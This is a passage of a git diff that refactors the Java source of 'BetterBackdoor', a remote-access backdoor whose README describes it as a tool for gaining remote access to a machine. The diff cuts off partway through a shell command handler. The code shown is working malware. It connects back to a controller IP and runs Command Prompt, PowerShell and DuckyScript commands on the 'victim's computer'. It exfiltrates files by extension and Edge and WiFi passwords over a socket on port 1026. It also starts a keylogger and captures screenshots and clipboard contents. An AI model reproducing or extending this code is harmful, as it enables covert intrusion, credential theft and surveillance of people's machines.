diff --git a/.classpath b/.classpath
deleted file mode 100644
index bd64f50..0000000
--- a/.classpath
+++ /dev/null
@@ -1,44 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/.gitignore b/.gitignore
index 7a5f613..eb6c6f3 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,8 +1,8 @@
/target/
-/.settings/
-/.vscode/
/jre/
/backdoor/
.DS_Store
/*.jar
-/gathered
\ No newline at end of file
+/gathered
+/.idea/
+BetterBackdoor.iml
\ No newline at end of file
diff --git a/.project b/.project
deleted file mode 100644
index 5fff5f4..0000000
--- a/.project
+++ /dev/null
@@ -1,20 +0,0 @@
-
-
- BetterBackdoor
-
-
-
-
- org.eclipse.jdt.core.javabuilder
-
-
-
- org.eclipse.m2e.core.maven2Builder
-
-
-
-
- org.eclipse.m2e.core.maven2Nature
- org.eclipse.jdt.core.javanature
-
-
\ No newline at end of file
diff --git a/.travis.yml b/.travis.yml
deleted file mode 100644
index 5d98bb1..0000000
--- a/.travis.yml
+++ /dev/null
@@ -1,6 +0,0 @@
-language: java
-
-jdk: openjdk8
-
-install: true
-script: ./mvnw clean install
\ No newline at end of file
diff --git a/README.md b/README.md
index 9b2f9cf..65dc671 100644
--- a/README.md
+++ b/README.md
@@ -1,6 +1,4 @@
# BetterBackdoor
-[![Build Status](https://travis-ci.org/ThatcherDev/BetterBackdoor.svg?branch=master)](https://travis-ci.org/ThatcherDev/BetterBackdoor)
-
A backdoor is a tool used to gain remote access to a machine.
Typically, backdoor utilities such as NetCat have two main functions: to pipe remote input into cmd or bash and output the response.
diff --git a/src/main/java/com/thatcherdev/betterbackdoor/BetterBackdoor.java b/src/main/java/com/thatcherdev/betterbackdoor/BetterBackdoor.java
index 22546db..a9e47b7 100644
--- a/src/main/java/com/thatcherdev/betterbackdoor/BetterBackdoor.java
+++ b/src/main/java/com/thatcherdev/betterbackdoor/BetterBackdoor.java
@@ -37,11 +37,7 @@ public static void main(String[] args) {
+ "or over the internet, WAN (requires port forwarding):");
System.out.println("[0] LAN");
System.out.println("[1] WAN (requires port forwarding)");
- String ipType = null;
- if (getInput("op01").equals("0"))
- ipType = "internal";
- else
- ipType = "external";
+ String ipType = getInput("op01").equals("0") ? "internal":"external";
boolean jre = false;
if (os.contains("Windows")) {
@@ -81,7 +77,7 @@ public static void main(String[] args) {
}
/**
- * Gets user input and verify it's validity with {@link type}.
+ * Gets user input and verify it's validity with {@code type}.
*
* @param type type of input
* @return user input
@@ -114,7 +110,7 @@ else if (type.equals("yn"))
}
/**
- * Displays "An error occurred" followed by {@link errorMessage} and exits.
+ * Displays "An error occurred" followed by {@code errorMessage} and exits.
*
* @param errorMessage error message to display
*/
diff --git a/src/main/java/com/thatcherdev/betterbackdoor/Setup.java b/src/main/java/com/thatcherdev/betterbackdoor/Setup.java
index cff21ea..9c93a98 100644
--- a/src/main/java/com/thatcherdev/betterbackdoor/Setup.java
+++ b/src/main/java/com/thatcherdev/betterbackdoor/Setup.java
@@ -24,16 +24,16 @@ public class Setup {
/**
* Sets up backdoor.
*
- * If {@link packageJre} is true, copies the current machines JRE to directory
- * 'backdoor' and {@link #createBat(String, String, String)} is used to create a
- * '.bat' file for running the backdoor in the JRE. If {@link packageJre} is
+ * If {@code packageJre} is true, copies the current machines JRE to directory
+ * 'backdoor' and {@code #createBat(String, String, String)} is used to create a
+ * '.bat' file for running the backdoor in the JRE. If {@code packageJre} is
* false but directory 'jre' containing a Windows JRE distribution exists, 'jre'
- * is copied to 'backdoor' and {@link #createBat(String, String, String)} is
+ * is copied to 'backdoor' and {@code #createBat(String, String, String)} is
* used to create a '.bat' file for running the backdoor in the JRE. 'run.jar'
* is copied from 'target' to 'backdoor' and 'ip' is appended into it using
- * {@link #appendJar(String, String, String)}. If {@link ipType} is "internal",
+ * {@code #appendJar(String, String, String)}. If {@code ipType} is "internal",
* 'ip' will contain the internal IP address of the current machine. Otherwise,
- * if {@link ipType} is "external", 'ip' will contain the external IP address of
+ * if {@code ipType} is "external", 'ip' will contain the external IP address of
* the current machine.
*
* @param packageJre if a JRE should be packaged with the backdoor
@@ -75,8 +75,8 @@ private static void createBat(String filePath) throws FileNotFoundException {
}
/**
- * Appends a new file with name {@link filename} and contents
- * {@link fileContents} into existing jar file with name {@link jarFile}.
+ * Appends a new file with name {@code filename} and contents
+ * {@code fileContents} into existing jar file with name {@code jarFile}.
*
* @param jarFile name of jar file to append
* @param filename name of new file to append in jar
@@ -90,7 +90,6 @@ private static void appendJar(String jarFile, String filename, String fileConten
try (Writer writer = Files.newBufferedWriter(fileSystem.getPath(filename), StandardCharsets.UTF_8,
StandardOpenOption.CREATE)) {
writer.write(fileContents);
- writer.close();
}
}
}
diff --git a/src/main/java/com/thatcherdev/betterbackdoor/backdoor/Backdoor.java b/src/main/java/com/thatcherdev/betterbackdoor/backdoor/Backdoor.java
index d278746..c7a9539 100644
--- a/src/main/java/com/thatcherdev/betterbackdoor/backdoor/Backdoor.java
+++ b/src/main/java/com/thatcherdev/betterbackdoor/backdoor/Backdoor.java
@@ -29,7 +29,7 @@ public static void main(String[] args) {
* Uses {@link #readFromJar(String)} to get the contents of "ip", a text file
* inside the jar file this class will be running from. This file contains the
* IP address of the server to be used to control the backdoor. Sets {@link #ip}
- * to this address. Creates directory {@link gatheredDir}.
+ * to this address. Creates directory {@code gatheredDir}.
*/
private Backdoor() {
try {
@@ -56,7 +56,6 @@ private void start() {
break;
} catch (Exception e) {
Thread.sleep(3000);
- continue;
}
in = new Scanner(socket.getInputStream());
out = new PrintWriter(socket.getOutputStream(), true);
@@ -80,14 +79,14 @@ private void start() {
}
/**
- * Gets the contents of the file with the name {@link filename} from inside the
+ * Gets the contents of the file with the name {@code filename} from inside the
* jar file this class will be running from.
*
* @param filename name of the file to get contents of
* @return contents of the file
*/
private String readFromJar(String filename) {
- String ret = null;
+ String ret;
Scanner in = new Scanner(getClass().getResourceAsStream(filename));
ret = in.nextLine();
in.close();
diff --git a/src/main/java/com/thatcherdev/betterbackdoor/backdoor/HandleCommand.java b/src/main/java/com/thatcherdev/betterbackdoor/backdoor/HandleCommand.java
index 1ac2f75..d160b64 100644
--- a/src/main/java/com/thatcherdev/betterbackdoor/backdoor/HandleCommand.java
+++ b/src/main/java/com/thatcherdev/betterbackdoor/backdoor/HandleCommand.java
@@ -25,48 +25,48 @@ public class HandleCommand {
/**
* Handles command.
*
- * Handles command {@link command} and sets {@link send} to an appropriate
+ * Handles command {@code command} and sets {@code send} to an appropriate
* response. Uses {@link Backdoor#out} to send the response followed by a token
* to signal the end of the response.
*
* @param command command given to the backdoor
*/
public static void handle(String command) {
- String send = "";
+ StringBuilder send = new StringBuilder();
if (command.equals("help"))
- send = "[cmd] Run Command Prompt commands\n[ps] Run a PowerShell script\n[ds] Run a DuckyScript\n"
+ send = new StringBuilder("[cmd] Run Command Prompt commands\n[ps] Run a PowerShell script\n[ds] Run a DuckyScript\n"
+ "[exfiles] Exfiltarte files based on extension\n[expass] Exfiltrate Microsoft Edge and WiFi passwords\n"
+ "[filesend] Send a file to victim's computer\n[filerec] Receive a file from victim's computer\n"
+ "[keylog] Start a KeyLogger on victim's computer\n[ss] Get a screenshot of vitim's computer\n"
+ "[cb] Get text currently copied to victim's clipboard\n[cat] Get contents of a file on victim's computer\n"
+ "[zip] Compress a directory to a ZIP file\n[unzip] Decompress a ZIP file\n"
- + "[remove] Remove backdoor and all backdoor files from victim's computer\n[exit] Exit";
+ + "[remove] Remove backdoor and all backdoor files from victim's computer\n[exit] Exit");
else if (command.startsWith("cmd"))
- send = Utils.runCommand(command.substring(4));
+ send = new StringBuilder(Utils.runCommand(command.substring(4)));
else if (command.startsWith("ps") || command.startsWith("ds")) {
File file = new File(command.substring(3));
try {
if (command.startsWith("ps") && file.exists())
- send = Utils.runPSScript(command.substring(3));
+ send = new StringBuilder(Utils.runPSScript(command.substring(3)));
else if (command.startsWith("ds") && file.exists() && DuckyScripts.run(command.substring(3)))
- send = "DuckyScript successfully executed";
+ send = new StringBuilder("DuckyScript successfully executed");
else
throw new Exception();
} catch (Exception e) {
- send = "An error occurred when trying to execute script";
+ send = new StringBuilder("An error occurred when trying to execute script");
if (e.getMessage() != null)
- send += ":\n" + e.getMessage();
+ send.append(":\n").append(e.getMessage());
} finally {
try {
FileUtils.forceDelete(file);
- } catch (Exception e) {
+ } catch (Exception ignored) {
}
}
} else if (command.startsWith("exfiles")) {
File exfiltratedFiles = new File(Backdoor.gatheredDir + "ExfiltratedFiles");
try {
Utils.exfilFiles(command.substring(command.indexOf(" "), command.indexOf("*")),
- new ArrayList(Arrays.asList(command.substring(command.indexOf("*") + 1).split(","))));
+ new ArrayList<>(Arrays.asList(command.substring(command.indexOf("*") + 1).split(","))));
Utils.zipDir(exfiltratedFiles.getAbsolutePath());
FTP.backdoor(exfiltratedFiles.getAbsolutePath() + ".zip", "send", Backdoor.ip);
while (!FTP.socketTransferDone && FTP.error == null)
@@ -78,16 +78,16 @@ else if (command.startsWith("ds") && file.exists() && DuckyScripts.run(command.s
FTP.error = null;
throw new Exception(error);
}
- send = "Files exfiltrated";
+ send = new StringBuilder("Files exfiltrated");
} catch (Exception e) {
- send = "An error occurred when trying to exfiltrate files";
+ send = new StringBuilder("An error occurred when trying to exfiltrate files");
if (e.getMessage() != null)
- send += ":\n" + e.getMessage();
+ send.append(":\n").append(e.getMessage());
} finally {
try {
FileUtils.forceDelete(exfiltratedFiles);
FileUtils.forceDelete(new File(exfiltratedFiles.getAbsolutePath() + ".zip"));
- } catch (Exception e) {
+ } catch (Exception ignored) {
}
}
} else if (command.equals("expass")) {
@@ -119,26 +119,26 @@ else if (command.startsWith("ds") && file.exists() && DuckyScripts.run(command.s
FTP.error = null;
throw new Exception(error);
}
- send = "Passwords exfiltrated";
+ send = new StringBuilder("Passwords exfiltrated");
} catch (Exception e) {
- send = "An error occurred when trying to exfiltrate passwords";
+ send = new StringBuilder("An error occurred when trying to exfiltrate passwords");
if (e.getMessage() != null)
- send += ":\n" + e.getMessage();
+ send.append(":\n").append(e.getMessage());
} finally {
try {
FileUtils.forceDelete(exfiltratedPasswords);
FileUtils.forceDelete(new File(exfiltratedPasswords.getAbsolutePath() + ".zip"));
- } catch (Exception e) {
+ } catch (Exception ignored) {
}
}
} else if (command.startsWith("filetype")) {
File file = new File(command.substring(9));
if (file.isFile())
- send = "file";
+ send = new StringBuilder("file");
else if (file.isDirectory())
- send = "directory";
+ send = new StringBuilder("directory");
else
- send = "not real";
+ send = new StringBuilder("not real");
} else if (command.startsWith("filesend")) {
try {
FTP.backdoor(command.substring(9), "rec", Backdoor.ip);
@@ -151,11 +151,11 @@ else if (file.isDirectory())
FTP.error = null;
throw new Exception(error);
}
- send = "File sent";
+ send = new StringBuilder("File sent");
} catch (Exception e) {
- send = "An error occurred when trying to send file";
+ send = new StringBuilder("An error occurred when trying to send file");
if (e.getMessage() != null)
- send += ":\n" + e.getMessage();
+ send.append(":\n").append(e.getMessage());
}
} else if (command.startsWith("filerec")) {
File file = new File(command.substring(8));
@@ -176,26 +176,22 @@ else if (file.isDirectory()) {
FTP.error = null;
throw new Exception(error);
}
- send = "File received";
+ send = new StringBuilder("File received");
} catch (Exception e) {
- send = "An error occurred when trying to receive file";
+ send = new StringBuilder("An error occurred when trying to receive file");
if (e.getMessage() != null)
- send += ":\n" + e.getMessage();
+ send.append(":\n").append(e.getMessage());
} finally {
try {
if (file.isDirectory())
FileUtils.forceDelete(new File(file.getAbsolutePath() + ".zip"));
- } catch (Exception e) {
+ } catch (Exception ignored) {
}
}
} else if (command.startsWith("keylog")) {
- Thread keyLogger = new Thread() {
- public void run() {
- KeyLogger.start(command.substring(7));
- }
- };
+ Thread keyLogger = new Thread(() -> KeyLogger.start(command.substring(7)));
keyLogger.start();
- send = "Keys are being logged to '" + command.substring(7) + "\\keys.log' on victim's computer";
+ send = new StringBuilder("Keys are being logged to '" + command.substring(7) + "\\keys.log' on victim's computer");
} else if (command.equals("ss")) {
File screenshot = new File(Backdoor.gatheredDir + "screenshot.png");
try {
@@ -212,15 +208,15 @@ public void run() {
FTP.error = null;
throw new Exception(error);
}
- send = "Screenshot received";
+ send = new StringBuilder("Screenshot received");
} catch (Exception e) {
- send = "An error occurred when trying to receive screenshot";
+ send = new StringBuilder("An error occurred when trying to receive screenshot");
if (e.getMessage() != null)
- send += ":\n" + e.getMessage();
+ send.append(":\n").append(e.getMessage());
} finally {
try {
FileUtils.forceDelete(screenshot);
- } catch (IOException e) {
+ } catch (IOException ignored) {
}
}
} else if (command.equals("cb"))
@@ -228,24 +224,24 @@ public void run() {
String clipBoard = (String) Toolkit.getDefaultToolkit().getSystemClipboard()
.getData(DataFlavor.stringFlavor);
if (clipBoard.isEmpty())
- send = "Nothing copied to victim's clipboard";
+ send = new StringBuilder("Nothing copied to victim's clipboard");
else
- send = "Victim's clipboard:\n" + clipBoard;
+ send = new StringBuilder("Victim's clipboard:\n" + clipBoard);
} catch (Exception e) {
- send = "An error occurred when trying to get victim's clipboard";
+ send = new StringBuilder("An error occurred when trying to get victim's clipboard");
if (e.getMessage() != null)
- send += ":\n" + e.getMessage();
+ send.append(":\n").append(e.getMessage());
}
else if (command.startsWith("cat"))
try {
Scanner in = new Scanner(new File(command.substring(4)));
while (in.hasNextLine())
- send += in.nextLine() + "\n";
+ send.append(in.nextLine()).append("\n");
in.close();
} catch (Exception e) {
- send = "An error occurred when trying to get file";
+ send = new StringBuilder("An error occurred when trying to get file");
if (e.getMessage() != null)
- send += ":\n" + e.getMessage();
+ send.append(":\n").append(e.getMessage());
}
else if (command.startsWith("zip"))
try {
@@ -253,20 +249,20 @@ else if (command.startsWith("zip"))
if (!dir.isDirectory())
throw new Exception("Not a directory");
Utils.zipDir(dir.getAbsolutePath());
- send = "Directory compressed to '" + dir.getAbsolutePath() + ".zip'";
+ send = new StringBuilder("Directory compressed to '" + dir.getAbsolutePath() + ".zip'");
} catch (Exception e) {
- send = "An error occurred when compressing directory";
+ send = new StringBuilder("An error occurred when compressing directory");
if (e.getMessage() != null)
- send += ":\n" + e.getMessage();
+ send.append(":\n").append(e.getMessage());
}
else if (command.startsWith("unzip"))
try {
String output = Utils.unzip(command.substring(6));
- send = "Contents of ZIP file decompressed to '" + output + "'";
+ send = new StringBuilder("Contents of ZIP file decompressed to '" + output + "'");
} catch (Exception e) {
- send = "An error occurred when decompressing directory";
+ send = new StringBuilder("An error occurred when decompressing directory");
if (e.getMessage() != null)
- send += ":\n" + e.getMessage();
+ send.append(":\n").append(e.getMessage());
}
else if (command.equals("remove"))
try {
@@ -274,12 +270,12 @@ else if (command.equals("remove"))
+ Backdoor.gatheredDir + " jre");
System.exit(0);
} catch (Exception e) {
- send = "An error occurred when trying to remove files";
+ send = new StringBuilder("An error occurred when trying to remove files");
if (e.getMessage() != null)
- send += ":\n" + e.getMessage();
+ send.append(":\n").append(e.getMessage());
}
else if (!command.isEmpty())
- send = "Command not found";
- Backdoor.out.println(send + "\n!$end$!");
+ send = new StringBuilder("Command not found");
+ Backdoor.out.println(send.toString() + "\n!$end$!");
}
}
\ No newline at end of file
diff --git a/src/main/java/com/thatcherdev/betterbackdoor/backend/DuckyScripts.java b/src/main/java/com/thatcherdev/betterbackdoor/backend/DuckyScripts.java
index afa8fac..702a793 100644
--- a/src/main/java/com/thatcherdev/betterbackdoor/backend/DuckyScripts.java
+++ b/src/main/java/com/thatcherdev/betterbackdoor/backend/DuckyScripts.java
@@ -12,16 +12,16 @@ public class DuckyScripts {
private static Robot robot;
private static int defaultDelay;
final private static ArrayList regKeys = (ArrayList) "abcdefghijklmnopqrstuvwxyz`1234567890-=[]\\;',./ "
- .chars().mapToObj((i) -> Character.valueOf((char) i)).collect(Collectors.toList());
+ .chars().mapToObj((i) -> (char) i).collect(Collectors.toList());
final private static ArrayList shiftKeys = (ArrayList) "ABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$%^&*()_+{}|:\"<>?"
- .chars().mapToObj((i) -> Character.valueOf((char) i)).collect(Collectors.toList());
+ .chars().mapToObj((i) -> (char) i).collect(Collectors.toList());
/**
* Runs a DuckyScript.
*
- * Cycles though lines from the file with the name {@link filename}. If
+ * Cycles though lines from the file with the name {@code filename}. If
* applicable, spaces at end of each line are removed and the line is passed to
- * {@link #handleLine(String line)} to handle and execute it.
+ * {@link #handleLine} to handle and execute it.
*
* @param filename name of DuckyScript to execute
* @return if DuckyScript was executed successfully
@@ -48,9 +48,9 @@ public static boolean run(String filename) {
}
/**
- * Handles and executes DuckyScript line {@link line}.
+ * Handles and executes DuckyScript line {@code line}.
*
- * {@link line} is split into {@link command} and {@link args} which are then
+ * {@code line} is split into {@code command} and {@code args} which are then
* mutated to work with {@link java.awt.Robot} {@link #robot}.
*
* @param line line to handle and execute
@@ -121,13 +121,13 @@ else if (command.equals("STRING")) {
}
/**
- * Uses {@link java.awt.Robot} {@link #robot} to simulate typing {@link toType}.
+ * Uses {@link java.awt.Robot} {@link #robot} to simulate typing {@code toType}.
*
* @param toType String to type
*/
private static void type(String toType) {
for (char c : toType.toCharArray())
- if (regKeys.indexOf(c) != -1) {
+ if (regKeys.contains(c)) {
robot.keyPress(KeyEvent.getExtendedKeyCodeForChar(c));
robot.keyRelease(KeyEvent.getExtendedKeyCodeForChar(c));
} else {
diff --git a/src/main/java/com/thatcherdev/betterbackdoor/backend/FTP.java b/src/main/java/com/thatcherdev/betterbackdoor/backend/FTP.java
index 95d3c8f..d161514 100644
--- a/src/main/java/com/thatcherdev/betterbackdoor/backend/FTP.java
+++ b/src/main/java/com/thatcherdev/betterbackdoor/backend/FTP.java
@@ -20,88 +20,84 @@ public class FTP {
* Transfers a file with client.
*
* Opens {@link java.nio.channels.ServerSocketChannel}
- * {@link serverSocketChannel} and {@link java.nio.channels.SocketChannel}
- * {@link socketChannel} for transferring a file with client. If
- * {@link protocol} is "send", uses {@link #send} to send file with path
- * {@link filePath} to client. If {@link protocol} is "rec", uses {@link #rec}
- * to receive file with path {@link filePath} from client.
+ * {@code serverSocketChannel} and {@link java.nio.channels.SocketChannel}
+ * {@code socketChannel} for transferring a file with client. If
+ * {@code protocol} is "send", uses {@link #send} to send file with path
+ * {@code filePath} to client. If {@code protocol} is "rec", uses {@link #rec}
+ * to receive file with path {@code filePath} from client.
*
* @param filePath path of file to transfer
* @param protocol if file should be sent or received
*/
public static void shell(String filePath, String protocol) {
- Thread thread = new Thread() {
- public void run() {
- ServerSocketChannel serverSocketChannel = null;
- SocketChannel socketChannel = null;
+ Thread thread = new Thread(() -> {
+ ServerSocketChannel serverSocketChannel = null;
+ SocketChannel socketChannel = null;
+ try {
+ serverSocketChannel = ServerSocketChannel.open();
+ serverSocketChannel.socket().bind(new InetSocketAddress(1026));
+ socketChannel = serverSocketChannel.accept();
+ if (protocol.equals("send"))
+ send(filePath, socketChannel);
+ else if (protocol.equals("rec"))
+ rec(filePath, socketChannel);
+ } catch (Exception ignored) {
+ } finally {
try {
- serverSocketChannel = ServerSocketChannel.open();
- serverSocketChannel.socket().bind(new InetSocketAddress(1026));
- socketChannel = serverSocketChannel.accept();
- if (protocol.equals("send"))
- send(filePath, socketChannel);
- else if (protocol.equals("rec"))
- rec(filePath, socketChannel);
- } catch (Exception e) {
- } finally {
- try {
- if (serverSocketChannel != null)
- serverSocketChannel.close();
- if (socketChannel != null)
- socketChannel.close();
- } catch (Exception e) {
- }
+ if (serverSocketChannel != null)
+ serverSocketChannel.close();
+ if (socketChannel != null)
+ socketChannel.close();
+ } catch (Exception ignored) {
}
}
- };
+ });
thread.start();
}
/**
* Transfers a file with server.
*
- * Opens {@link java.nio.channels.SocketChannel} {@link socketChannel} for
- * transferring file with server with an IP address of {@link ip}. If
- * {@link protocol} is "send", uses {@link #send} to send file with path
- * {@link filePath} to server. If {@link protocol} is "rec", uses {@link #rec}
- * to receive file with path {@link filePath} from server.
+ * Opens {@link java.nio.channels.SocketChannel} {@code socketChannel} for
+ * transferring file with server with an IP address of {@code ip}. If
+ * {@code protocol} is "send", uses {@link #send} to send file with path
+ * {@code filePath} to server. If {@code protocol} is "rec", uses {@link #rec}
+ * to receive file with path {@code filePath} from server.
*
* @param filePath path of file to transfer
* @param protocol if file should be sent or received
* @param ip IP address of server to transfer file with
*/
public static void backdoor(String filePath, String protocol, String ip) {
- Thread thread = new Thread() {
- public void run() {
- SocketChannel socketChannel = null;
+ Thread thread = new Thread(() -> {
+ SocketChannel socketChannel = null;
+ try {
+ Thread.sleep(2000);
+ socketChannel = SocketChannel.open();
+ SocketAddress socketAddress = new InetSocketAddress(ip, 1026);
+ socketChannel.connect(socketAddress);
+ if (protocol.equals("send"))
+ send(filePath, socketChannel);
+ else if (protocol.equals("rec"))
+ rec(filePath, socketChannel);
+ socketChannel.close();
+ socketTransferDone = true;
+ } catch (Exception e) {
+ error = e.getMessage();
+ } finally {
try {
- Thread.sleep(2000);
- socketChannel = SocketChannel.open();
- SocketAddress socketAddress = new InetSocketAddress(ip, 1026);
- socketChannel.connect(socketAddress);
- if (protocol.equals("send"))
- send(filePath, socketChannel);
- else if (protocol.equals("rec"))
- rec(filePath, socketChannel);
- socketChannel.close();
- socketTransferDone = true;
- } catch (Exception e) {
- error = e.getMessage();
- } finally {
- try {
- if (socketChannel != null)
- socketChannel.close();
- } catch (Exception e) {
- }
+ if (socketChannel != null)
+ socketChannel.close();
+ } catch (Exception ignored) {
}
}
- };
+ });
thread.start();
}
/**
- * Sends file with path {@link filePath} using {@link socketChannel} and
- * {@link fileChannel}.
+ * Sends file with path {@code filePath} using {@code socketChannel} and
+ * {@code fileChannel}.
*
* @param filePath path of file to send
* @param socketChannel {@link java.nio.channels.SocketChannel} to use for
@@ -122,8 +118,8 @@ private static void send(String filePath, SocketChannel socketChannel) throws IO
}
/**
- * Receives file with path {@link filePath} using {@link socketChannel} and
- * {@link fileChannel}.
+ * Receives file with path {@code filePath} using {@code socketChannel} and
+ * {@code fileChannel}.
*
* @param filePath path of file to receive
* @param socketChannel {@link java.nio.channels.SocketChannel} to use for
diff --git a/src/main/java/com/thatcherdev/betterbackdoor/backend/KeyLogger.java b/src/main/java/com/thatcherdev/betterbackdoor/backend/KeyLogger.java
index a83530e..575536b 100644
--- a/src/main/java/com/thatcherdev/betterbackdoor/backend/KeyLogger.java
+++ b/src/main/java/com/thatcherdev/betterbackdoor/backend/KeyLogger.java
@@ -15,7 +15,7 @@ public class KeyLogger implements NativeKeyListener {
private boolean shift = false;
/**
- * Starts a key logger and logs keys to {@link dir}\keys.log.
+ * Starts a key logger and logs keys to {@code dir}\keys.log.
*
* @param dir directory to log keys to
*/
diff --git a/src/main/java/com/thatcherdev/betterbackdoor/backend/Utils.java b/src/main/java/com/thatcherdev/betterbackdoor/backend/Utils.java
index f984988..ae04383 100644
--- a/src/main/java/com/thatcherdev/betterbackdoor/backend/Utils.java
+++ b/src/main/java/com/thatcherdev/betterbackdoor/backend/Utils.java
@@ -17,6 +17,7 @@
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Enumeration;
+import java.util.Objects;
import java.util.zip.ZipEntry;
import java.util.zip.ZipFile;
import java.util.zip.ZipOutputStream;
@@ -29,14 +30,14 @@
public class Utils {
/**
- * Runs command {@link command} in the current machine's command prompt and
+ * Runs command {@code command} in the current machine's command prompt and
* returns response.
*
* @param command command to run
* @return response from running command
*/
public static String runCommand(String command) {
- String resp = "";
+ StringBuilder resp = new StringBuilder();
BufferedReader bufferedReader = null;
try {
ProcessBuilder builder = new ProcessBuilder("cmd.exe", "/c", command);
@@ -45,33 +46,33 @@ public static String runCommand(String command) {
while (true) {
String line = bufferedReader.readLine();
if (line == null) {
- while (resp.endsWith("\n"))
- resp = resp.substring(0, resp.length() - 1);
+ while (resp.toString().endsWith("\n"))
+ resp = new StringBuilder(resp.substring(0, resp.length() - 1));
break;
}
- resp += line + "\n";
+ resp.append(line).append("\n");
}
- if (resp.isEmpty())
+ if (resp.toString().length() == 0)
return "Command did not produce a response";
else
- return resp;
+ return resp.toString();
} catch (Exception e) {
- resp = "An error occurred when trying to run command";
+ resp = new StringBuilder("An error occurred when trying to run command");
if (e.getMessage() != null)
- resp += ":\n" + e.getMessage();
- return resp;
+ resp.append(":\n").append(e.getMessage());
+ return resp.toString();
} finally {
try {
if (bufferedReader != null)
bufferedReader.close();
- } catch (Exception e) {
+ } catch (Exception ignored) {
}
}
}
/**
* Uses {@link #runCommand(String)} to run the PowerShell script with the name
- * {@link filename}.
+ * {@code filename}.
*
* @param filename name of script to run
* @return response from running script
@@ -81,7 +82,7 @@ public static String runPSScript(String filename) {
}
/**
- * Copies all files that have extensions in {@link exts} from {@link root} to
+ * Copies all files that have extensions in {@code exts} from {@code root} to
* {@link Backdoor#gatheredDir}\ExfiltratedFiles'.
*
* @param root directory to copy files from
@@ -91,7 +92,7 @@ public static String runPSScript(String filename) {
public static void exfilFiles(String root, ArrayList exts) throws IOException {
new File(Backdoor.gatheredDir + "ExfiltratedFiles").mkdir();
for (String ext : exts)
- for (String file : new ArrayList(
+ for (String file : new ArrayList<>(
Arrays.asList(Utils.runCommand("c: && cd " + root + " && dir/b/s/a:-d *." + ext).split("\n"))))
if (!file.equals("File Not Found"))
FileUtils.copyFile(new File(file), new File(
@@ -99,7 +100,7 @@ public static void exfilFiles(String root, ArrayList exts) throws IOExce
}
/**
- * Compresses directory with name {@link dir} to zip file '{@link dir}.zip'.
+ * Compresses directory with name {@code dir} to zip file '{@code dir}.zip'.
*
* @param dir name of directory to compress
* @throws IOException
@@ -113,8 +114,8 @@ public static void zipDir(String dir) throws IOException, FileNotFoundException
}
/**
- * Recursively adds the contents of directory {@link rootDir} to the
- * ZipOutputStream {@link out}.
+ * Recursively adds the contents of directory {@code rootDir} to the
+ * ZipOutputStream {@code out}.
*
* @param rootDir root directory
* @param sourceDir source directory
@@ -124,7 +125,7 @@ public static void zipDir(String dir) throws IOException, FileNotFoundException
*/
private static void dirToZip(File rootDir, String sourceDir, ZipOutputStream out)
throws IOException, FileNotFoundException {
- for (File file : new File(sourceDir).listFiles()) {
+ for (File file : Objects.requireNonNull(new File(sourceDir).listFiles())) {
String fileName = file.getName();
if (file.isDirectory())
dirToZip(rootDir, sourceDir + File.separator + fileName, out);
@@ -141,16 +142,16 @@ private static void dirToZip(File rootDir, String sourceDir, ZipOutputStream out
}
/**
- * Decompresses zip file with name {@link zipFileName}.
+ * Decompresses zip file with name {@code zipFileName}.
*
* @param zipFileName name of zip file to decompress
- * @return directory where contents of zip file with name {@link zipFileName}
+ * @return directory where contents of zip file with name {@code zipFileName}
* were copied
* @throws IOException
*/
public static String unzip(String zipFileName) throws IOException {
ZipFile zipFile = new ZipFile(zipFileName);
- String outputDir = new File(zipFileName).getParent();
+ String outputDir = new File(zipFileName).getParentFile().getAbsolutePath();
Enumeration extends ZipEntry> entries = zipFile.entries();
while (entries.hasMoreElements()) {
ZipEntry entry = entries.nextElement();
@@ -170,8 +171,8 @@ public static String unzip(String zipFileName) throws IOException {
}
/**
- * If {@link ipType} is "internal", returns the internal IP address of the
- * current machine. Otherwise, if {@link ipType} is "external", returns the
+ * If {@code ipType} is "internal", returns the internal IP address of the
+ * current machine. Otherwise, if {@code ipType} is "external", returns the
* external IP address of the current machine.
*
* @param ipType type of IP address to return
@@ -183,15 +184,15 @@ public static String getIP(String ipType) throws IOException {
if (ipType.equals("internal")) {
Enumeration majorInterfaces = NetworkInterface.getNetworkInterfaces();
while (majorInterfaces.hasMoreElements()) {
- NetworkInterface inter = (NetworkInterface) majorInterfaces.nextElement();
+ NetworkInterface inter = majorInterfaces.nextElement();
for (Enumeration minorInterfaces = inter.getInetAddresses(); minorInterfaces
.hasMoreElements();) {
- InetAddress add = (InetAddress) minorInterfaces.nextElement();
+ InetAddress add = minorInterfaces.nextElement();
if (!add.isLoopbackAddress())
- if (add instanceof Inet4Address)
+ if (add instanceof Inet4Address) {
ret = add.getHostAddress();
- else if (add instanceof Inet6Address)
- continue;
+ break;
+ }
}
}
} else if (ipType.equals("external")) {
diff --git a/src/main/java/com/thatcherdev/betterbackdoor/shell/HandleCommand.java b/src/main/java/com/thatcherdev/betterbackdoor/shell/HandleCommand.java
index a038c62..511c45f 100644
--- a/src/main/java/com/thatcherdev/betterbackdoor/shell/HandleCommand.java
+++ b/src/main/java/com/thatcherdev/betterbackdoor/shell/HandleCommand.java
@@ -12,151 +12,170 @@
public class HandleCommand {
/**
- * Handles command {@link command} given by user.
+ * Handles command {@code command} given by user.
*
* @param command command given by user
* @throws IOException
*/
public static void handle(String command) throws IOException {
- if (command.equals("cmd")) {
- System.out.println(
- "Commands will now be executed through vitim's computer's Command Prompt\nEnter 'back' to go back");
- while (true) {
- System.out.print("cmd");
- String cmdCommand = BetterBackdoor.getInput("");
- if (cmdCommand.equals("back"))
- break;
- Shell.out.println("cmd " + cmdCommand);
+ switch (command) {
+ case "cmd":
+ System.out.println(
+ "Commands will now be executed through vitim's computer's Command Prompt\nEnter 'back' to go back");
+ while (true) {
+ System.out.print("cmd");
+ String cmdCommand = BetterBackdoor.getInput("");
+ if (cmdCommand.equals("back"))
+ break;
+ Shell.out.println("cmd " + cmdCommand);
+ System.out.println(getResp());
+ }
+ break;
+ case "ps":
+ case "ds": {
+ System.out.print("This will send a local ");
+ if (command.equals("ps"))
+ System.out.print("PowerShell script ");
+ else
+ System.out.print("DuckyScript");
+ System.out.println(" to the victims computer, execute it, and delete it.");
+ System.out.println("Enter local filepath of script:");
+ File file = new File(BetterBackdoor.getInput("file"));
+ System.out.println("Sending script...");
